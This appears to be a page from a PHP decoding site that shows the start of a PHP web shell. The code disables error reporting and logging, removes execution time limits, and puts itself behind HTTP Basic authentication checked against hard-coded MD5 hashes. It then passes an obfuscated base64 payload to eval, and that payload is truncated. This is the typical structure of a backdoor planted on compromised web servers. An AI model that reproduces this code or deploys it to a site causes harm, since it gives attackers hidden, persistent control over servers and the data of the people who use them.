PHP Decode

<?  
@session_start();  
@error_reporting(0);  
@ini_set('error_log',NULL);  
@ini_set('log_errors',0);  
@ini_set('max_execution_time',0); 
@ini_set('output_buffering',0);  
@ini_set('display_errors', 0); 
@set_time_limit(0);  
@set_magic_quotes_runtime(0); 
date_default_timezone_set('Asia/Jakarta'); 
header('Cache-Control: max-age=900'); 
# Login Page Start 
$xSoftware = trim(getenv("SERVER_SOFTWARE")); 
$xServerName = $_SERVER["HTTP_HOST"]; 
$auth = 1; 
$name='63a9f0ea7bb98050796b649e85481845'; 
$pass='7b24afc8bc80e548d66c4e7ff72171c5'; 
if($auth == 1) { 
if (!isset($_SERVER['PHP_AUTH_USER']) || md5($_SERVER['PHP_AUTH_USER'])!==$name || md5($_SERVER['PHP_AUTH_PW'])!==$pass) 
{ 
header('WWW-Authenticate: Basic realm="Protected Area !!"'); 
header('HTTP/1.0 401 Unauthorized'); 
exit("MAHO"); 
} 
} 
 ${"GANDRUNXS"}{"DAY"}=eval(base64_decode("JHsiR0FORFJVTlhTIn17MHgxOGE5Mn09Y2hyKDg4KTskeyR7IkdBTkRSVU5YUyJ9eyIxMDEwMTAi 
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"));return ${"GANDRUNXS"}{"DAY"}; ?>